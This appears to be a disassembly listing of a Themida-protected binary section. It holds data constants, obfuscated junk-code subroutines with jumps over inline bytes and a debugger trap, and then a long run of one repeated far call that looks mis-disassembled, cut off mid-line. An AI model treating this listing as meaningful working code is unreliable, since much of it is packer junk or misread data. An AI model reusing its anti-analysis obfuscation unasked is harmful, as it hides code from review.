890Fh dd 0E95E0000h, 9, 0C0FD84D6h, 2B4D6D13h, 0AB77BB21h, 0D08125D1h dd 3185C35Fh, 0E9C38B66h, 8, 0E6A64452h, 9342B20Fh, 12E957h dd 0ED10000h, 0E9ADDC9Ch, 13793A17h, 0E849B274h, 0ED4827Ch dd 78A0F59h, 60000000h, 0EF80FA8Bh, 0C18B619Eh, 1A8A0Fh dd 0E9600000h, 10h, 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h dd 61CEB70Fh, 2062BB66h, 0F88B29B1h, 666FF680h, 0B7DAD981h dd 8AF5CA8Ah, 11E8D9h, 0AF3C0000h, 0BB7AD82Dh, 2302730Ch dd 0F796F139h, 0E9E6F70Bh, 0Ch, 219A183h, 3D88CD41h, 4198D2F1h dd 0C8B70F58h, 0E95AF956h, 0Ch, 0EB5FC3C6h, 10067846h dd 68A1506Eh, 0B804CBAh, 0B45E5641h, 6656FC4Fh, 8A5FC28Bh dd 0EC94BBEAh, 10E92DC5h, 6D000000h, 0BF54C3B5h, 0AD58DF9Ch dd 181CEB4Dh, 81F3A229h, 0C9BF3ED0h, 8A4EB224h, 14E8CFh dd 0F8A40000h, 0EFAB8536h, 551348FBh, 171B7534h, 0BE10B64Ch dd 5BFC5B31h, 884FBE66h, 4820F51h, 66000000h, 585F28B8h dd 27CDC281h, 0E9801A2Eh, 0F081669Dh, 41BA5745h, 80763FE1h dd 81665AE4h, 8B332BF1h, 0FD38BDEh, 0CB80C2BFh, 665F53BEh dd 0E781C38Bh, 67A74339h, 5457CE81h, 0B70F3D85h, 11870FF8h dd 0E9000000h, 0Ch, 0C72D6C70h, 3106CBDAh, 0F2923833h dd 0FFE8B66h, 582h, 0E847BE00h, 0E3811AD8h, 224430EAh dd 12E9h, 1014AF00h, 610F6BCCh, 404E5404h, 5FB6C5A8h, 804793E4h dd 5E9E8D0h, 85000000h, 59051F45h, 66F98B66h, 870FD18Bh dd 4, 4FFBE66h, 4D2DC181h, 850F3ABEh, 3, 66FEB70Fh, 0F9A0ABBEh dd 0AE8h, 97A71B00h, 0C301DB49h, 5886EF00h, 6DA9E3BBh dd 0CFE28131h, 0F55BD9DFh, 2B84D281h, 0C6811B35h, 3F77D951h dd 0E95EFC57h, 0Ch, 0AF6B1A0h, 0AD213184h, 32F4825Ch, 61E8DFB9h dd 0B9666018h, 8B668065h, 816661F0h, 0B0B03EDEh, 0A511BA00h dd 0D98B58DAh, 0E9CBD380h, 8, 24A24008h, 0DA7DB862h, 8A25E580h dd 12870FE5h, 0E9000000h, 0Dh, 0FB2EA594h, 36FD0AB9h, 0C9535570h dd 660BA58h, 8E0F0D61h, 0Eh, 0CCD18160h, 0F0897B8h, 8Dh dd 0C4806100h, 11E913h, 462A0000h, 6EBA3CD9h, 0B5B91CDAh dd 13FA1377h, 60CBCFCFh, 0E9F3B70Fh, 13h, 0CFF130E3h, 12217CDDh dd 5D4C5492h, 0DE46E9DAh, 61F72CDAh, 12E951h, 12230000h dd 6DF7B80Ch, 33BF1149h, 87B0A7EEh, 0C3A61B5Eh, 4810F58h dd 66000000h, 60E5BAB8h, 10830FF8h, 0E9000000h, 0Bh, 9A3725F1h dd 46642E44h, 616EA8E3h, 9E9h, 25B92C00h, 36A8FB0Fh, 14E9F575h dd 0B0000000h, 1660179Fh, 0C7A05DC2h, 0F2CA0ED7h, 105A13D7h dd 66795A92h, 0BB37F281h, 3DE88166h, 0EE816610h, 0CB8143D8h dd 64EE039Bh, 0F079C381h, 8C0F7EE5h, 3, 0F2AC280h, 0E83h dd 9E900h, 0A8D40000h, 115C8A69h, 66CD60B4h, 8166D78Bh dd 0F39BCC8h, 8Fh, 0F3B70F00h, 0E9E38AF5h, 8, 0DFD4D92Eh dd 0ED3C3A80h, 2875A9BFh, 13E87Ah, 0A9900000h, 2D6FE43Bh dd 0BA646298h, 7DA318C6h, 0B6D26F43h, 9AE4BF4Eh, 0F5A7227h dd 84h, 0DF816600h, 0C280D76Bh, 66F18B0Dh, 5A30D981h, 8B665957h dd 88BA66CAh, 0DE9F9FEh, 58000000h, 0C4D8B71Ch, 560CB026h dd 0F2713F3Dh, 1384BE66h, 5820Fh, 81660000h, 0BB72A3CBh dd 0E9D7121h, 0AE9h, 0C2535800h, 6EDFC278h, 0E9FCC8E5h dd 10h, 4B2A4BA5h, 0C56CA861h, 0F0C11C42h, 0B37E9BB8h dd 0E9FAB70Fh, 12h, 9F2B33EAh, 0C394DE38h, 218D0BE5h, 0F06C85B1h dd 8166FBBDh, 608E81D9h, 8B66C68Bh, 0BA6661D0h, 8C0F7E5Ch dd 3, 6625E280h, 0F91CABEh, 1A8Dh, 12E800h, 0CB440000h dd 0C21B7A38h, 309FB3F0h, 0E18B827Dh, 0CD5DD1BAh, 0E9586160h dd 0Dh, 1238B3FBh, 5B603283h, 1E30AAB9h, 0D8B70F57h, 0BE8h dd 1C28E300h, 2C49DEA7h, 0FD3DDC8Ch, 0F5CB95Eh, 850F61B0h dd 0 dd 8F0Fh, 66530000h, 318BE881h, 0F78B6658h, 7E8C78Bh, 18000000h dd 2B911B7Fh, 0D68099F5h, 0E8F55A93h, 7, 7198E207h, 561027F5h dd 6E9h, 0B435EE00h, 598D4C24h, 4830F58h, 66000000h, 0E9EFACB9h dd 7, 8A392AA1h, 56E9228Ch, 11E9h, 4BB8C000h, 2BBAA35Fh dd 0A29F5524h, 7D08E659h, 605EB3EAh, 0E3816160h, 525686E1h dd 0F43FB861h, 0E6805F2Dh, 14E908h, 41970000h, 0F36C4E08h dd 65676130h, 99F06836h, 91D3D6DDh, 0BB601833h, 6649CEF6h dd 520840BAh, 7B96142h, 0F4C9F4Ch, 380h, 0C1F78000h, 3890Fh dd 0B70F0000h, 0DF8166CFh, 0BB6657B7h, 0D78BB268h, 0EE9A0B0h dd 30000000h, 0F183A7C7h, 0A7C3038h, 0C61DFB42h, 13E9F9h dd 0EC870000h, 0DE26BAC4h, 0D27E58BAh, 0D374322Fh, 98FA768Fh dd 4DA2B9D9h, 81661DDFh, 8A27EAEFh, 0EA80F8D5h, 17800F0Bh dd 60000000h, 0FE9F5h, 18C60000h, 6F437DA3h, 124EB6D2h dd 85998849h, 8B666144h, 0E880FCBh, 0E8000000h, 8, 0D8B1AAF0h dd 0E3A87EEEh, 0EE8F85Fh, 0F000000h, 36D1450Fh, 32D3C93Ch dd 6E55AD90h, 0C6BF0F43h, 0C981665Eh, 8E872DAh, 22000000h dd 7D1A4F36h, 8B7CF474h, 81665AD6h, 80C358DFh, 666061CDh dd 61576CBEh, 13E952h, 64D90000h, 0E1CA476Bh, 0CD4B164Bh dd 0B7E90DFAh, 4B271FFh, 0E2815E6Fh, 3D423C81h, 8E8h, 11904600h dd 577A7C80h, 59DA8BBDh, 1F880Fh, 13E80000h, 50000000h dd 1E249E21h, 9CB740E3h, 0E8D1FF57h, 0E836E594h, 8E0F99C3h dd 0 ; --------------------------------------------------------------------------- pop edi jle loc_5D026B mov si, 133Ah loc_5D026B: ; CODE XREF: Themida_:005D0261j push ecx pusha jmp loc_5D0277 ; --------------------------------------------------------------------------- dw 7576h db 35h, 89h, 22h ; --------------------------------------------------------------------------- loc_5D0277: ; CODE XREF: Themida_:005D026Dj jge $+6 popa pop edi call sub_5D028E ; --------------------------------------------------------------------------- dd 7CCBE80Eh, 0F407C497h db 61h, 83h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5D028E proc near ; CODE XREF: Themida_:005D027Fp mov al, 56h pop esi jmp loc_5D02A8 ; --------------------------------------------------------------------------- dw 2BF5h dd 439CA329h, 0E2EDAF7Ch, 0B7B45EB6h, 0DC31B9E0h ; --------------------------------------------------------------------------- loc_5D02A8: ; CODE XREF: sub_5D028E+3j mov esi, 346F70ADh movzx esi, bx jmp loc_5D02C0 ; --------------------------------------------------------------------------- db 6Eh, 0AEh, 1Dh dd 597BC45Bh, 903A1CEDh ; --------------------------------------------------------------------------- loc_5D02C0: ; CODE XREF: sub_5D028E+22j and cx, 3643h sbb edx, 774F0CB4h jmp loc_5D02E1 ; --------------------------------------------------------------------------- dd 1AF5B288h, 920FC6CBh, 4095DF8Fh, 22A0D269h db 35h ; --------------------------------------------------------------------------- loc_5D02E1: ; CODE XREF: sub_5D028E+3Dj mov eax, edi clc mov ebx, edi cmc mov edx, 5C65F74Dh mov ax, 0AE97h jmp loc_5D02FB ; --------------------------------------------------------------------------- db 9, 14h, 0DAh db 9Ah, 49h, 0 ; --------------------------------------------------------------------------- loc_5D02FB: ; CODE XREF: sub_5D028E+62j call sub_5D030C sub_5D028E endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 6FCBE9E9h, 5D9A96AAh, 0F3601A08h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5D030C proc near ; CODE XREF: sub_5D028E:loc_5D02FBp or cx, 55B8h pop edx pusha mov di, si xor eax, 27AA442Fh popa mov eax, 4BBC56E7h mov ecx, 1DAC7801h jmp loc_5D0340 ; --------------------------------------------------------------------------- dd 4C77E87Ah, 0D0681616h, 615E6D8Ah, 44C325C5h, 0A7FEC971h ; --------------------------------------------------------------------------- loc_5D0340: ; CODE XREF: sub_5D030C+1Bj mov cx, 0CE63h sub si, 0E213h js loc_5D0354 xor si, 6FB6h loc_5D0354: ; CODE XREF: sub_5D030C+3Dj jg loc_5D0369 jmp loc_5D0369 ; --------------------------------------------------------------------------- db 0Bh ; --------------------------------------------------------------------------- ffree st xor ebx, [ecx+7E2AD40Eh] int 3 ; Trap to Debugger loc_5D0369: ; CODE XREF: sub_5D030C:loc_5D0354j ; sub_5D030C+4Ej jmp loc_5D0375 ; --------------------------------------------------------------------------- dw 42F4h ; --------------------------------------------------------------------------- xor eax, 0B85F5A70h loc_5D0375: ; CODE XREF: sub_5D030C:loc_5D0369j push ebx mov eax, 3ECCEB56h pop esi mov ebx, edi and al, 0A6h mov bx, 72C2h jmp loc_5D0398 ; --------------------------------------------------------------------------- dw 0E324h dd 216A046h, 0B98C77A8h, 0E12B8DC5h ; --------------------------------------------------------------------------- loc_5D0398: ; CODE XREF: sub_5D030C+79j cld mov dh, 52h movsx edi, cx stc cld movsx edx, bx mov bh, ah adc eax, 135A730Dh pusha jmp loc_5D03B8 ; --------------------------------------------------------------------------- db 4Bh, 9, 1Eh dd 8D5399CEh ; --------------------------------------------------------------------------- loc_5D03B8: ; CODE XREF: sub_5D030C+A0j mov eax, 241F34F5h popa adc eax, 270DF658h mov ax, di jmp loc_5D03DE ; --------------------------------------------------------------------------- or ch, [ecx-2B2EAC03h] xchg eax, edi mov word ptr [ecx+58h], ds xlat pop ecx and ebx, 30DC514Dh loc_5D03DE: ; CODE XREF: sub_5D030C+BBj sub edi, 7D3248E4h or dx, 9679h jmp loc_5D03F7 ; --------------------------------------------------------------------------- dw 72DBh dd 0C2B983AFh db 0D6h, 2Ah, 0A8h ; --------------------------------------------------------------------------- loc_5D03F7: ; CODE XREF: sub_5D030C+DDj mov edi, eax mov bl, 0DCh jmp loc_5D0414 ; --------------------------------------------------------------------------- dd 9BF0FA9Eh, 339E9636h, 28DD631Fh, 0EC737686h, 3ECB12B0h ; --------------------------------------------------------------------------- loc_5D0414: ; CODE XREF: sub_5D030C+EFj mov ax, bx cld mov di, bx xor cx, 79FBh mov esi, ecx jnp loc_5D042E jo $+6 loc_5D042E: ; CODE XREF: sub_5D030C+116j adc cx, 0E5D4h push ebx mov bl, ch pop edx movzx eax, dx jo loc_5D044C jmp loc_5D044C ; --------------------------------------------------------------------------- db 8Ch, 6Ah, 0DDh dd 4285A7E9h ; --------------------------------------------------------------------------- loc_5D044C: ; CODE XREF: sub_5D030C+12Ej ; sub_5D030C+134j pusha jmp loc_5D045D ; --------------------------------------------------------------------------- dw 0D96Bh dd 323E60AFh, 537B966Dh ; --------------------------------------------------------------------------- xchg eax, edi loc_5D045D: ; CODE XREF: sub_5D030C+141j stc popa js $+6 jmp loc_5D0472 ; --------------------------------------------------------------------------- dw 6E27h dd 8658B2FDh db 26h, 0D2h ; --------------------------------------------------------------------------- loc_5D0472: ; CODE XREF: sub_5D030C+159j push edx cmc pop esi sbb ecx, 5E427691h mov ax, cx mov edi, 6596C278h push edi pop ebx mov edx, 1FADCC32h jno loc_5D0494 push esi mov bh, 0F7h pop ebx loc_5D0494: ; CODE XREF: sub_5D030C+17Ej jmp loc_5D049F ; --------------------------------------------------------------------------- cmp [edi-64A24065h], edx loc_5D049F: ; CODE XREF: sub_5D030C:loc_5D0494j mov bx, 73C3h jp loc_5D04AE and cx, 0D6A4h loc_5D04AE: ; CODE XREF: sub_5D030C+197j sbb di, 0E348h push ecx jb loc_5D04C0 ja $+6 loc_5D04C0: ; CODE XREF: sub_5D030C+1A8j pop esi jbe loc_5D04D1 jns loc_5D04D1 mov cx, 0D06Fh loc_5D04D1: ; CODE XREF: sub_5D030C+1B5j ; sub_5D030C+1BBj jnz loc_5D04DA mov di, bx loc_5D04DA: ; CODE XREF: sub_5D030C:loc_5D04D1j mov dx, 2779h mov edx, 50BB26B4h stc mov edx, esi mov dx, 9002h push ecx pusha jmp loc_5D0501 ; --------------------------------------------------------------------------- cmp al, 0Ch add ah, 80h imul edx, [edx], 0CB7E636Ah mov edx, 4A9A6503h loc_5D0501: ; CODE XREF: sub_5D030C+1E0j cmc popa pop edi jg loc_5D050C mov esi, ecx loc_5D050C: ; CODE XREF: sub_5D030C+1F8j jno loc_5D051D jge loc_5D051D mov edx, 6503E103h loc_5D051D: ; CODE XREF: sub_5D030C:loc_5D050Cj ; sub_5D030C+206j movzx eax, bx call sub_5D0537 sub_5D030C endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3Bh, 0C8h, 0E2h dd 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h db 1Fh, 0D3h, 88h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5D0537 proc near ; CODE XREF: sub_5D030C+214p mov ax, 0A9C0h pop ebx movsx esi, bx add ebx, 41742005h jnp $+6 mov bx, ax jmp loc_5D0567 ; --------------------------------------------------------------------------- db 8Ch dd 34DED881h, 0E9FC2464h, 0C692E480h, 395096A0h db 90h db 0AAh, 0D1h ; --------------------------------------------------------------------------- loc_5D0567: ; CODE XREF: sub_5D0537+17j pop esp pusha lahf push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 9F60h:9A579F60h push edi call far ptr 